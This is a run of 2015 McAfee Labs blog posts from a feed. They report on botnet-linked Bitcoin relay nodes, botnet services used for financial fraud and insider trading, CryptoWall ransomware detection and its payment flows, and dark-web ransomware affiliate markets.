Trust is the most valuable commodity in the digital age. Failure to trust the systems or organizations in which we place our digital assets leads us to look at alternate providers, or to withdraw entirely from a suspect service. Within the financial services industry, the notion of trust is of paramount importance to institutions and account holders alike. Investors must be confident that the money they have in their accounts is available for use whenever they need it, and that the routes and terminals involved in buying Christmas presents, for example, are protected with many layers of security.

But what happens with this concept of trust if, for example, one in every 25 withdrawals made from an ATM is authorized by a bank operated by a known criminal organization? Or if one of every six credit card purchases was transacted by a terminal suspected to be controlled by known criminal organizations? It is likely the implied level of trust customers have in the financial system would be shaken; moreover, they would certainly seek a more trustworthy provider for financial transactions.

Looking at trust among cryptocurrencies, McAfee has undertaken an analysis of Bitcoin to determine the likely risk to transactions made with this increasingly popular method of payment. In particular, we focused on the risks to the security of the network that serves the “blockchain,” the public database of all Bitcoin transactions. Although our research did not identify any specific risks associated with the security of the funds exchanged, we did identify risks that may affect the reliability of the blockchain itself. Our focus was predominantly on Bitcoin relay nodes, and the integrity of those nodes.

Whenever these transaction relay nodes do not offer a sufficient level of integrity (for example, being a part of botnet operations), they could be used to manipulate Bitcoin transactions through route control, denial of service, or by modifying transaction protocols. Moreover, a botnet-controlled relay node can be monitored to reveal the identity of one party in a transaction. If enough relay nodes are connected by a botnet operator, it may even be possible to deanonymize the other parties. Further, as the blockchain and related products have evolved, vulnerabilities in software clients have cropped up. Attempts to exploit the Bitcoin peer-to-peer network are known in research as well as in the wild; thus the knowledge of botnet- or malware-associated peers is a concern.

Background
The blockchain is a public ledger that facilitates payment through cryptocurrencies (such as Bitcoin) for goods or services of more than 10,000 vendors and many thousands of individuals, including legitimate (food, airfare, books, cars) and illegitimate (malware, extortion/ransom, drugs). The blockchain is also being explored for commercial purposes with new offerings created for “secure exchange” services such as currencies, contracts, and equities trading or clearing.

The blockchain includes literal details concerning every transaction between addresses that have successfully negotiated a transfer, such as Bitcoin payments from one wallet to another, including time, sender and receiver wallet addresses, amounts, and relay IP addresses (both v4 and v6) of “bitnodes” that facilitate the transactions’ communications.

At any time there are around 9,000 active bitnodes, some that operate as “full nodes” (peers) and others that serve as relays or a type of proxy, also known as a “lightweight node.”

20151216 Blockchain1

Source: https://bitnodes.21.co/

Related Risks
Approximately 2% of the bitnodes were coincidentally included for use by malware samples, and another 1% of bitnodes were included on Internet blacklists related to botnet control servers or other compromised hosts, according to data collected from Blockchain.info and Bitnodes.io (which peer with approximately 70% of active nodes) as well as open-source intelligence (OSINT) about botnets and malicious network addresses of nearly 145,000 unique IP addresses that relayed blockchain transactions for Bitcoin between February–December 2015. Those figures are historical summaries that when viewed in real time reflect more significant risks to the security of blockchain transactions.

For the same period, a real-time review of active bitnodes (available peers) demonstrated that at any given time 4% of bitnodes addresses were included for use by malware samples (available for review on Virustotal.com), and an additional 13% of bitnodes appeared on public Internet blacklists. Thus in effect one in six Bitcoin transactions were relayed by nodes under the control of malicious operators. The difference between the historical and real-time statistics is simple: Bitnodes that correspond with malware or botnets act as blockchain relays more often than others.

For example, let’s look at the following details of a bitnode active on December 2:

20151216 Blockchain2

The malware sample that used the preceding bitnode (IP address) was a Fujacks Trojan, a well-documented botnet backdoor that allows a botmaster to remotely control the infected computer, collect information, and install other malware or tools that suit the botmaster’s (or subscribers’) interests.

20151216 Blockchain3

This bitnode has been active since November 24:

20151216 Blockchain4

The associated malware is the Sefnit Trojan, a botnet backdoor that not only allows the botmaster to remotely control the host, but upon installation also injects a TOR client to mask botnet communications. Compromised computers could suffer the installation of any malicious tools. For example, past infections of Sefnit include ad-click fraud. There is also documented coincidental history of the use of Sefnit by malicious botmasters to mine bitcoins using infected computers. As with many botnets, take down efforts are sometimes temporary, and the subsequent utility of the botnet changes and on occasion expands.

20151216 Blockchain5

Our analysis of the varied malware samples that relate to bitnode addresses which have relayed blockchain transactions during the past 18 months demonstrates that most of the botnets are related to Zeus. Zeus source code has been readily available (in several publicly released iterations and sold in specific versions) since at least 2011. It is a popular “starter kit” for botnet creation, and anyone with relatively modest technical capabilities can build and operate a botnet. More important though, botnets offer subscriber services that can facilitate more exotic crimes than simply compromising access to a computer.

The preceding Sefnit malware sample used that bitnode (IP) address as a TOR relay address, so that not only Bitcoin transactions would relay through that bitnode, but other TOR users could also use that host. Unfortunately not only legitimate TOR users, however: Computers infected with that Sefnit malware would be inducted into a botnet that used that TOR relay (coincidentally the bitnode address).

OSINT and McAfee threat intelligence, respectively, confirmed that 3% of the unique bitnode addresses observed between February and December 2015 were included in malware samples for botnet communications, as control or routing. Of those addresses, the following 30 bitnodes accounted for 25% of associated malware submissions.

20151216 Blockchain6

Our analysis of submitted malware samples that used those bitnode addresses indicated that 83% of related samples were from the following malware families:

 

Malware in Top 30 Bitnode Addresses (Feb–Dec 2015) With Number of Submissions
Allaple 4,611 Carberp 52 Dacic 11
Kelihos 860 Renos 42 Senta 8
Bladabindi 378 Dugenpal 41 Sisron 6
Pykspa 106 Bagsu 35 Vitro 5
Bulta 71 Glupteba 32 Teerac 5
Fynloski 71 Swrort 28 Peaac 4
Zbot 65 Waledac 25 Bumat 3
Dynamer 61 Skeeyah 25 Reveton 1
Sality 57 Omaneat 24 Simda 1
Virut 53 Runpoor 18

Where are they?
This begs the question: Which came first? Was the bitnode (host) set up by a botmaster for nefarious purposes, or was a host compromised and misused for botnet control purposes? As far as blockchain uses go, does it matter? The result is that the particular host is under the botnet control.

Many people mistakenly assume that blockchain transactions are always protected by the use of TOR; however, our analysis of the IP addresses regarding TOR nodes indicates that less than 0.25% of known bitnodes are also TOR nodes. TOR is commonly recommended for use with blockchain software clients, so the coincidence of bitnodes that also serve as TOR nodes is an additional risk to be considered by vendors or subscribers to blockchain technology.

The following map shows the geographic outlay of TOR nodes on December 2.

20151216 Blockchain7

Source: http://cdetr.io/tor-node-map/

Bitnodes are deployed globally according to concentrations of users who support the technology. Consequently, the nodes that coincidentally are used for other purposes (such as TOR or malware control) are equally global in their geolocations. There is general overlap in geographic regions between TOR and bitnodes, although the overlap in addresses is very limited.

20151216 Blockchain8

Source: https://bitnodes.21.co/

Applying OSINT to the blockchain
By using OSINT and proprietary information we can create dispositions of bitnodes by their risk categories. The following map indicates the regional concentrations (on December 2) by bitnodes as (red) Suspicious, (blue) Interesting, and (yellow) Normal. “Suspicious” indicates a bitnode that appears on blacklists and has high detection rates in samples that use the bitnode address. “Interesting” is a bitnode address that is a known TOR exit node or appears in any malware samples. “Normal” encompasses all others.

20151216 Blockchain9

Only a relatively small percentage (17%) comprise Suspicious or Interesting nodes. The following chart indicates the breakout of Suspicious nodes by country code.

20151216 Blockchain10

Other host providers include cloud services and public or free Internet hosts. Such services are sought out and used extensively by botmasters as they often allow limited free use, or full subscription use for a defined period (commonly one to three months before they are abandoned or terminated). Indeed, between February and December, 20% of all unique bitnodes we analyzed existed for no more than one day, 72% for less than one month, 99% for less than three months, and less than 1% existed for more than three months.

More on TOR
The coincidence of the TOR network and bitnodes may be more than OSINT demonstrates. For example, In December 2014 the “LizardSquad” hacked the TOR network, taking control of 30% to 40% of active nodes. One effect of the attacks was an increase in new bitnodes.

The following graph illustrates a 4% increase in Normal nodes and a 1% increase in Suspicious nodes, with a 4% decrease in Interesting nodes that occurred on December 26, 2014, when the TOR attacks began.

20151216 Blockchain11

This data could be interpreted to mean that the additional nodes were botnet nodes previously masked by TOR. The new interesting and suspicious nodes were the product of antimalware submissions and blacklist updates that were reported by researchers. By December 30, 2014, the TOR network had recovered, and the number of visible bitnodes decreased as they were again masked; in the interim, however, the aggregate had increased to an estimated 23% of all bitnodes related to botnets.

In effect, the December 2014 attacks by LizardSquad (and subsequent research performed by security organizations around the world) revealed previously unknown nodes on the Bitcoin network, some associated with malware or botnets. This demonstrates the extent (about  6%) of TOR nodes that provided anonymity to blockchain transactions—at least in that period.

What this means for financial risk
Bitcoin has an estimated market cap of $5.4 billion. On December 2, 2015, a total of $634 million (depending on the exchange venue) in transactions value was routed through the global bitnodes. Although only the noted 17% of bitnodes are indicated to be “known associates” of malware or botnets, those nodes accounted for 31% of the volume of (unconfirmed) transactions relayed that day. In other words, almost $200 million of Bitcoin transactions were relayed through suspect nodes.

What does this mean? There is no risk of these funds being stolen because the blockchain has mechanisms to protect the transaction with distributed (and autonomous) processing and validation. There are, however, availability concerns that go beyond simple outages, for example, the possibility of “value” impediments because the route is manipulated in the peer map of related clients. (The exchange value of Bitcoin is related in part to the volume available for trading and the availability of peers to process the transactions.) Outages may be brief, but they have immediate consequences as peer discovery from “good” to “bad” nodes depends fundamentally on the availability of good nodes.

Beyond interruptions, there is the risk of malicious entities gaining insights into transactions. Botmasters can simply monitor the peers that they control to understand the origin and valuable details of the transactions in their exchange form. Although they will not see into traded contracts, or be able to steal from cryptocurrency exchanges, they can monitor who is trading with whom and how often—and potentially control when/if and where their traffic is able to route.

The health of any network is crucial to the integrity of the service it supports. Financial products and services related to the blockchain may be affected by botnet- or malware-associated nodes that relay transactions, currently or in the future, as the sophistication of attacks and exploits continues.

A final note
Much more specific details of risks are available when the blockchain (ledger) and bitnodes are tied to threat intelligence. On December 2 two ransomware payment addresses for Virlock were used in 14 transactions. Five of the 14 transactions were relayed by bitnodes associated with malware or botnets. Although blacklisting Bitcoin addresses can be a difficult proposition (as many addresses have been stolen from legitimate users’ wallets over time and misused in much the same way that stolen credit card numbers are used sporadically by cybercriminals), some insights of specific addresses are useful to understanding the risk of transactions made with otherwise “anonymous” counterparties.

We might conclude from this research that Bitcoin is a payment platform that cannot be trusted, but that is not the case. Yet we depend on a trustworthy payment platform, and understanding the associated risks allow us to build appropriate controls to mitigate those risks to tolerable levels. Bitcoin, much like any other payment platform (electronic as well as physical) has risks associated with it that appear to be specific to a decentralized virtual currency. Our intention is to highlight some of these risks such that measures can be introduced to mitigate those risks to a level acceptable to all of us operating within this digital society.

 

The post Blockchain Transactions Create Risks for Financial Services appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/blockchain-transactions-create-risks-financial-services/feed/ 0
A Dummies Guide to ‘Insider Trading’ via Botnet, Part 2 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/a-dummies-guide-to-insider-trading-via-botnet-part-2/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/a-dummies-guide-to-insider-trading-via-botnet-part-2/#respond Mon, 23 Nov 2015 20:00:07 +0000 http://blogs.mcafee.com/?p=24537 This post, the second of two parts, was written by Christiaan Beek, Raj Samani, and Shane Shook.  In our first post, we examined the evolution of the botnet. In this follow-up we will discuss a new botnet operating model that allows an attacker to get an insider’s view of infected organizations without actually being an insider—all while […]

The post A Dummies Guide to ‘Insider Trading’ via Botnet, Part 2 appeared first on McAfee Blogs.

]]>
This post, the second of two parts, was written by Christiaan Beek, Raj Samani, and Shane Shook. 

In our first post, we examined the evolution of the botnet. In this follow-up we will discuss a new botnet operating model that allows an attacker to get an insider’s view of infected organizations without actually being an insider—all while remaining undetected and manipulating data for financial gain.

Fiction or reality?

Many examples of attacks by botnet malware resulting in financial theft or accounts fraud have been published that trace the evolution of “personal” information stealers into “corporate” information stealers. In 2009 Patco Construction, in Sanford, Maine, was robbed of $588,000. In that same year, US law enforcement arrested individuals associated with the incursions via botnets into 390 companies in the United States, with estimated related losses at more than $70 million. Similar activities occurred in 2012 when Tennessee Electric Co. lost almost $328,000 after their bank account was taken over by cyber thieves.

Other examples abound, but the evolution of the use of botnets continues as more and more corporate services are facilitated online. In 2014 Salesforce.com users were targeted by malware configured to automatically steal login details, and even bypass two-factor authentication. Numerous examples of malware configurations to target corporate financial, securities, and other web services are available through cursory Internet searches. Dyre samples include more than 450 URLs intended to be automatically monitored for credentials theft, including corporate and personal web services. Some of the configured URLs include nonspecific wildcards to harvest credentials used for popular corporate financial and HR applications.

In May, the Australian Federal Police released a report concerning corporate securities trading fraud in which malware actors were targeting nontraditional financial platforms in Australia. Investigations into large sums of money fraudulently transferred from various Australian financial institutions using corporate accounts commenced in February 2014.

The investigations showed that two brokerage services were making unusual transactions. Forensic investigations revealed the presence of “financial” malware. The malware, in this instance, was defined as malicious software that has been designed to steal, alter, and compromise financial transactions and credentials.

Some results from the investigation:

  • Logins occurring in excess of a month prior to the first fraudulent transaction.
  • Logins occurring while the broker was listed as absent from work.
  • Logins occurring between specific periods consistent with known Eastern European actors.
  • Logins using specific user-agent strings consistent with known Eastern European actors.
  • Numerous forged authorizations had been processed without question. 

Market information stealer: These seek to help a subscriber gain insights into valuable sensitive and highly protected information. These malware are less focused on credential theft, although that is an important feature for subscribers to discern the financial performance of their victims. Instead the malware facilitates managed access to specific information stores or screens from which time-sensitive information can be surreptitiously observed or copied.

20151120 Raj botnet 1 

In the preceding picture, the botmaster has control over computers in two banks and a trading firm, representing capital markets analysts and a corporate controller. The botmaster is simply providing access to a subscriber (“Malicious Trader”), who can see sensitive information in each company, a kind of “Botnet-Flix.” With that access, the Malicious Trader can use the information to anticipate the financial market and start actions that will give him, or the organization he’s working for, a financial gain.

The crimes committed are not only the intrusion into the bank and trading firm computers, but also the exploitation of the proprietary and sensitive information for gain.

Although this seems an incredible situation, such facilities are provided by a long history of botnet malware that enable automated or manual access to infected computers.

Examples of malware features

The following table shows an overview of banking botnets as of March and the plug-ins and functions available to operators or subscribers:

 

Banking Botnets and Extra Features

 

       
Feature Man in the Browser Redirect VNC/Back Connect Screenshots Video Capture Proxy Certificate Stealer
Zeus Y Y Y Y Plug-in Y Y
IceIX Y Y Y Y Plug-in Y Y
Citadel Y Y Y Y Plug-in Y Y
Gameover Y Y Y Y N Y Y
KINS Y Y Y Y Plug-in Y Y
Shylock Y N Y N Y Y Y
Geodo Y Y Y Y N N Y
Dridex Y Y Y Y N Y Y
Gozi Y N Y Y N Y Y
Dyre Y Y Plug-in Y Y Y Y
Ramnit Y Y Y Y N N N
Tinba Y Y Y Y N Y N
Hesperbot Y Y Plug-in Plug-in Plug-in Plug-in Plug-in

Source: http://www.secureworks.com/assets/pdf-store/other/banking-botnets-persist-2015.pdf

The Zeus malware’s video capture plug-in can detect if a remote desktop session is being launched and start recording that session. Examples of malware and their features can be viewed on YouTube:

  • See 5:38 for VNC and recording.


https://www.youtube.com/watch?v=FBaW6M1Edtk

  • Zeus 2015. Full panel configuration on services.


https://www.youtube.com/watch?v=UcHnrvS2-S8

Fraud is a crime conducted by individuals. Malware is a tool that can be useful to those individuals. Botnets connect interested individuals with tools they can use, and ready access to victims on whom the fraud can be committed.

A recent example concerning market information theft that began in 2010 and continued for five years involved hackers and traders who stole sensitive information that allowed trading resulting in an estimated $100 million in profits. The access to the stolen information was facilitated by botnets, and hackers disseminated instructions and tutorials, created by rogue traders, along with stolen information. A Ukrainian trading company, Jaspen Capital Partners, was identified by the SEC as a beneficiary of the stolen information used to trade on the nonpublic information.

In a settlement press announcement, the SEC stated that the company:

“…made approximately $25 million buying and selling contracts-for-differences (CFDs) on the basis of hacked press releases stolen from two newswire services between 2010 and 2014 and made additional profits trading on press releases stolen from a third newswire service in 2015. CFDs are derivatives that allow traders to place highly leveraged bets on the direction of a stock’s price movement. Without admitting or denying the SEC’s allegations, Jaspen and Supranonok agreed to be enjoined from violating the antifraud provisions of U.S. securities laws and related SEC antifraud rules and to return $30 million of allegedly ill-gotten gains.”

Whether the intended fraud is personal or corporate financial theft, or market manipulation by trading on information that no one else has the opportunity to know, the crime is based on the motive, means, and opportunity.

What’s next?

We write this article to boost awareness, not as a scare tactic. Our analysis of these and similar events are based on our customers submitting malware samples that connect to botnets known for selling their services to subscribers.

Infections by malware of this sort need to be further investigated, focusing on which endpoint was infected and the user’s role and rights, as well as if somebody watched over the victim’s back and what insider data could have been used.

Prevention

  • Keep your endpoint detection up to date.
  • In addition to promptly patching operating systems, keep all third-party software up to date, especially Adobe Flash.
  • Learn the capabilities of these malware families.

Contributors

We would like to thank the many people involved in this research, including members of the Malware Operations team, the Malware Sample Database team, the Foundstone Incident Response team, and our special coauthor of this research, Dr. Shane Shook.

Dr. Shook is well-known to Fortune 100 global companies for providing experienced leadership in incident analysis and response. He has led small and large teams of forensic investigators and computer and telecommunications systems analysts in many of the most notorious information security breach events of the past two decades. Shook’s experience in financial services and other industries, including standards development, helps McAfee clients understand technology risks in the context of their businesses.

 

 

 

 

 

 

 

 

The post A Dummies Guide to ‘Insider Trading’ via Botnet, Part 2 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/a-dummies-guide-to-insider-trading-via-botnet-part-2/feed/ 0
A Dummies Guide to ‘Insider Trading’ via Botnet https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/a-dummies-guide-to-insider-trading-via-botnet/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/a-dummies-guide-to-insider-trading-via-botnet/#respond Fri, 20 Nov 2015 22:44:36 +0000 http://blogs.mcafee.com/?p=24357 This post, the first of two parts, was written by Raj Samani, Christiaan Beek, and Shane Shook.  Want to spread malware? One of the most effective ways is to use a botnet, a network of infected systems. The goals of botnets have barely changed since we first encountered them more than a decade ago. We […]

The post A Dummies Guide to ‘Insider Trading’ via Botnet appeared first on McAfee Blogs.

]]>
This post, the first of two parts, was written by Raj Samani, Christiaan Beek, and Shane Shook. 

Want to spread malware? One of the most effective ways is to use a botnet, a network of infected systems. The goals of botnets have barely changed since we first encountered them more than a decade ago. We have often said that fighting cybercrime is a game of cat and mouse, with innovation from each side tipping the balance first one way, and then another. The evolution of botnets is no different.

In addition to common botnets plaguing our home computers to deliver spam or worse, we also find botnets targeting corporations to surreptitiously extract large collections of data to support incredibly profitable campaigns. These campaigns are aided by stolen credentials and the live viewing of (or interaction with) victims’ systems containing confidential information. These steps allow an attacker to get an insider’s view of infected organizations without actually being an insider—all while remaining undetected and manipulating data for financial gain.

In this two-part series we will first examine the evolution of the botnet, and follow up with a second post that shows how this new operating model is being actively used.

Botnet evolution

Originally robot networks were designed and used to enlist as many nodes as possible in criminal campaigns.

Traditional botnets focused on intrusion and data theft to perform the following activities:

  • Remote control of systems.
  • Interruption/denial of service.
  • Personal information theft (identity/personal credit/banking).

Over time, botnets began to incorporate other services:

  • “Doxing”/cataloging/selling stolen information.
  • On-demand targeting and access provisioning to corporate systems.
  • Third-party malware installation (RATs or ransomware) on systems.

Today, botnets provide managed services that include:

  • Anonymous communications routing and publishing.
  • Access management to subscribed networks/computers.
  • Help desk services: including 24/7 technical support.
  • Payment services (for electronic funds transfers or “crypto” currencies transactions).
  • Markets for “dark web” products and services.

The actors behind these botnets, the “botmasters,” use these operations to serve a bigger collective of campaigns by renting access to others, as well as for personal gain.

McAfee recently published the McAfee Labs 2016 Threats Predictions, which included a five-year forecast of the cybersecurity marketplace and its actors. In that article we mention that we do not quite expect the transformation of cybercrime into a full-fledged industry with suppliers, markets, service providers (“cybercrime as a service”), financing, trading systems, and a proliferation of associated business models.

However, this transformation, better described as an evolution, has been a product primarily of botnets, in which the botmasters now allow subscribers to request, view, and use protected and sensitive information. As customer needs and desires change, botnet services evolve to meet the demand. Payment for these services are often made with Bitcoins.

Traditional botnets were “owner operated,” but as their financial success and reputation grew, they became organized. The evolution of botnets from botmasters defining services to subscribers demanding products and services, has led to a customer-oriented industry. Subscribers vary, but their interests are generally reflected by the malware types in modern botnets that include:

  • Personal information stealers are targeted at consumers, most often through spam or phishing, and seek credentials and other personally identifiable information that facilitates identity and personal financial credit, banking, and trading theft.
  • Corporate information stealers are targeted at corporate employees or officers, commonly through phishing but also supported by social engineering techniques to target individuals or business functions that can facilitate the theft of human resources information, or credentials (and computer access) for financial (ERP/ACH/EFT) fraud and theft. 
  • Market information stealers are delivered via targeted phishing, or they use sophisticated marketing techniques such as “waterholing,” by infecting advertisements served to websites frequented by particular industry readers, or business networking services that create trusted links between people upon request or via introductions through social media. These are usually targeted at corporate officers of public companies, lawyers or auditors, or employees of financial services institutions and related media services. Information stealers facilitate the theft of protected or sensitive market information that can be used for insider trading.

The malware used are common in their design, differing only in whom they target, which instructions they employ to harvest different types of information, and which control sites they communicate with. Defining the type of crime is no longer about the tool(s) being used, but the evidence of activity. This evidence exists fundamentally in only three places: the control servers where stolen information is stored and made accessible to subscribers, victims’ financial (or trading) accounts where fraud has been conducted, and victims’ computer artifacts where the history of misuse can be assessed. 

Let’s look at some examples. 

Personal information stealer: This tool injects malware into browser processes to collect credentials used to conduct financial or securities transactions with the consumer’s bank. Modern malware types such as Dyre leverage additional features including remote desktop “back connects” that also allow botnet operators or subscribers to use the infected computer to log on to the consumer’s bank sites. Today’s information stealers even incorporate tools to defeat two-factor authentication through screen shots or other techniques.

Corporate information stealer: This method not only harvests credentials in a similar (though expanded) method as with personal information stealers, but the malware also facilitates backdoor access to the corporate network. The malware automatically collects system information about the compromised computer, user credentials and permissions, and—according to other scripted instructions—accessible corporate network information. The botmasters then catalog that information and either conduct additional reconnaissance and exploitation of the compromised corporate computer or network, often installing additional RATs to create multiple and persistent access to the organization, or simply sell the fact that they have access to certain computers in certain corporate estates to willing subscribers. Those subscribers subsequently either direct additional activities if the botmaster provides those services, or use the access for their own purposes.

Watch for part two of this post.

Contributors

We would like to thank the many people involved in this research, including members of the Malware Operations team, the Malware Sample Database team, the Foundstone Incident Response team, and our special coauthor of this research, Dr. Shane Shook.

Dr. Shook is well-known to Fortune 100 global companies for providing experienced leadership in incident analysis and response. He has led small and large teams of forensic investigators and computer and telecommunications systems analysts in many of the most notorious information security breach events of the past two decades. Shook’s experience in financial services and other industries, including standards development, helps McAfee clients understand technology risks in the context of their businesses.

 

The post A Dummies Guide to ‘Insider Trading’ via Botnet appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/a-dummies-guide-to-insider-trading-via-botnet/feed/ 0
CryptoWall V3 and V4 Protection for McAfee Customers https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cryptowall-v3-protection-mcafee-customers/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cryptowall-v3-protection-mcafee-customers/#respond Thu, 29 Oct 2015 16:03:32 +0000 https://blogs.mcafee.com/?p=45943 Updated, November 6:  Since October 30, the release date of the Cyber Threat Alliance report on CryptoWall Version 3, we have spotted a new variant of the CryptoWall family. This variant has been labeled by many as Version 4, which is different in some ways from V3. This rapid update demonstrates how flexible the actors […]

The post CryptoWall V3 and V4 Protection for McAfee Customers appeared first on McAfee Blogs.

]]>
Updated, November 6: 

Since October 30, the release date of the Cyber Threat Alliance report on CryptoWall Version 3, we have spotted a new variant of the CryptoWall family. This variant has been labeled by many as Version 4, which is different in some ways from V3. This rapid update demonstrates how flexible the actors behind these campaigns are and the resources they have available to make changes within 24 hours. McAfee detects this new version in our signatures as Ransom-CWall.a and Ransom-CWall.c.

As part of a joint investigation between the founding members of the Cyber Threat Alliance, we released a report that dissects the CryptoWall Version 3 family of ransomware. (For more on the malware’s aims, see this post.) Threat researchers from four companies, including McAfee, shared indicators and knowledge around the inner workings of this malware and how it behaves from a network perspective.

For McAfee customers, we have written detection for our endpoint products that classifies the ransomware as Ransom-Cwall. Besides our endpoint products, other products that consume McAfee Global Threat Intelligence feeds also detect the indicators of this ransomware family and protect our customers by blocking access to its control servers.

Indicators of associated URLs and IP addresses have been pushed into McAfee GTI and are updated daily  as we proactively monitor the movements of the campaigns that spread this form of ransomware.

While monitoring McAfee GTI statistics around this campaign, we saw starting in August a high number of detections in which the current control server sites were increasingly blocked and the number of visitors to these sites decreased:

CW3 control servers

 

As the CTA contributing members began to block these sites, we saw the adversaries behind the campaigns move to new sites for their control servers, which explains some spikes in September. McAfee continues to monitor this ransomware threat and provide up to date information and detection in our products.

The post CryptoWall V3 and V4 Protection for McAfee Customers appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cryptowall-v3-protection-mcafee-customers/feed/ 0
Ransomware: an Insight to Financial Gain https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ransomware-insight-financial-gain/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ransomware-insight-financial-gain/#respond Thu, 29 Oct 2015 16:03:10 +0000 https://blogs.mcafee.com/?p=45945 This week, joint research on the CryptoWall Version 3 family was released by the Cyber Threat Alliance. In Lucrative Ransomware Attacks: Analysis of the CryptoWall Version 3 Threat, McAfee along with the other member of the CTA, researched the elements in the CryptoWall lifecycle, represented in the following graphic: Source: Cyber Threat Alliance, Lucrative Ransomware Attacks: […]

The post Ransomware: an Insight to Financial Gain appeared first on McAfee Blogs.

]]>
This week, joint research on the CryptoWall Version 3 family was released by the Cyber Threat Alliance. In Lucrative Ransomware Attacks: Analysis of the CryptoWall Version 3 Threat, McAfee along with the other member of the CTA, researched the elements in the CryptoWall lifecycle, represented in the following graphic:

CW3 lifecycle

Source: Cyber Threat Alliance, Lucrative Ransomware Attacks: Analysis of the CryptoWall Version 3 Threat.

In this blog, we want to focus on the financial infrastructure behind the campaigns that were distributing the CryptoWall ransomware.

During our investigation, we researched thousands of samples. Some were taken apart manually for in-depth analysis. Others were automatically replicated. Based on the output, we gathered all this information into one big set of data. The data was then correlated and analyzed to understand the shared infrastructure, including the Bitcoin wallets used to collect ransom payments.

A correlation example follows. This illustrates the first step in a Bitcoin transaction.

CW3 bitcoin path

We identified the first wallets used in all the studied CryptoWall campaigns and then followed the money to other Bitcoin wallets. After victims make ransom payments, these payments are quickly transferred to different Bitcoin wallets, and from those Bitcoin wallets to others. Sometimes these transfers occur multiple times per day.

During our investigation, we looked into thousands of transactions. Eventually, we hit a “master wallet.” This wallet contains a huge amount of Bitcoins funneled from thousands of transactions.

Although CryptoWall campaigns began in February 2015, the master wallet was established in April 2014.  We don’t know the source of transactions prior to February, but we did analyze those that occurred after CryptoWall became active in February. We calculated the value of all transactions using an average dollar value of the Bitcoins, resulting in an estimated $325 million in ransom payments due to CryptoWall during the two-month period of our study.

In the report, we also discussed the Angler exploit kit as part of the delivery mechanism for this ransomware family. In October 2015, threat researchers from Cisco’s Talos group released a report detailing how they disrupted the group behind Angler. In that report, the Talos group reported annual revenue of $60 million from ransomware. After verifying with the Talos team, they mentioned that in a certain month, all of Angler’s proxy servers except one were serving the CryptoWall ransomware. In order to have access to the Angler exploit kit, the CryptoWall attackers had to pay a certain amount of money. With the ransom payments generated by CryptoWall, the attackers could easily afford the cost of Angler.

The revenue generated by CryptoWall and similar ransomware campaigns will attract more cybercriminals to participate in similar ransomware campaigns, participate in affiliate programs, or start developing new services as “ransomware-as-a-service.” Given these factors, we predicted a rise in this type of attack. However, the rapid exchange of indicators among security partners, as we have begun to do through the Cyber Threat Alliance, will assist in stopping these threats until technology is developed that can stop ransomware on the endpoint.

The post Ransomware: an Insight to Financial Gain appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ransomware-insight-financial-gain/feed/ 0
Ease of Buying Ransomware Fuels Affiliate Program https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ease-buying-ransomware-fuels-affiliate-program/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ease-buying-ransomware-fuels-affiliate-program/#respond Wed, 15 Jul 2015 07:57:58 +0000 https://blogs.mcafee.com/?p=44455 For several weeks after we released the McAfee Labs Threats Report, May 2015, in which we discussed the topic of ransomware in depth, we frequently saw the same questions: “Why is ransomware increasing, and why is it so successful? In our report we offered a few answers to this question. We’d like to zoom in […]

The post Ease of Buying Ransomware Fuels Affiliate Program appeared first on McAfee Blogs.

]]>
For several weeks after we released the McAfee Labs Threats Report, May 2015, in which we discussed the topic of ransomware in depth, we frequently saw the same questions: “Why is ransomware increasing, and why is it so successful?

In our report we offered a few answers to this question. We’d like to zoom in a bit more on one of them: the ease of getting ransomware and how the affiliate program works.

A ransomware author starts an affiliate program to earn money with as little risk as possible. How does that work? An affiliate buys an interest in a ransomware campaign. Usually we see a maximum of 8 to 10 affiliates because more would likely overlap their campaigns and target the same countries. The revenue split is discussed upfront and embedded in affiliate or distribution servers. These are the hidden servers that an affiliate logs into to track campaigns and much more.

The revenue-split model differs, but we have seen 80/20 and 75/25 models in which the larger percentage goes to the affiliate and the smaller to the author/owner of the ransomware infrastructure. Why such a low percentage for the author/owner? They bear the least risk. The affiliate, on the contrary, has to create or buy a custom packer/crypter to make the sample less detectable by antimalware solutions, rent a botnet or exploit kit to spread the samples, buy lists of email addresses, detect ways to bypass security solutions, etc.

Besides the spreading the threat, the affiliate needs to track the campaigns, monitor the Bitcoin wallets for payments, and redistribute these amounts over several wallets before cashing out. The telemetry options in the affiliate/distribution server give an affiliate information on how successful a campaign is and which countries pay the best. In some cases we have even seen the exact amount of files and total file size encrypted on a victim’s machine. This telemetry data is very useful to determine, for example, which language to support in the next release (because country X pays well). In the past after payment of the ransom, the private key was not always received. This hardly happens today; ransomware authors want to keep their reputations healthy.

Here’s an anecdote about language support. In a recent underground market, one author announced support for Russian in his ransomware. Shortly thereafter, the author received a few nasty comments asking why he would target Russian-speaking countries with his ransomware.

Whenever the big guys make money, there are always others who want to make a few dollars. However, they don’t see the (personal) damage, disruption, and financial loss they cause with their actions. A few hours of research on forums and market places on the Deep Web reveal a lot of people offering their services or code to create ransomware. Here are a few:

A group of Russian hackers offering their services:

Ransomware Beek 20150715-1

Another author offered ransomware:

Ransomware Beek 20150715-2

The marketplace data of this advertisement revealed that this particular package had already sold 16 times since April, and the average price was around US$34.

An example of Multilocker:

Ransomware Beek 20150715-3

One advertisement demonstrates the ambition of the author: “Let’s kidnap the planet!”

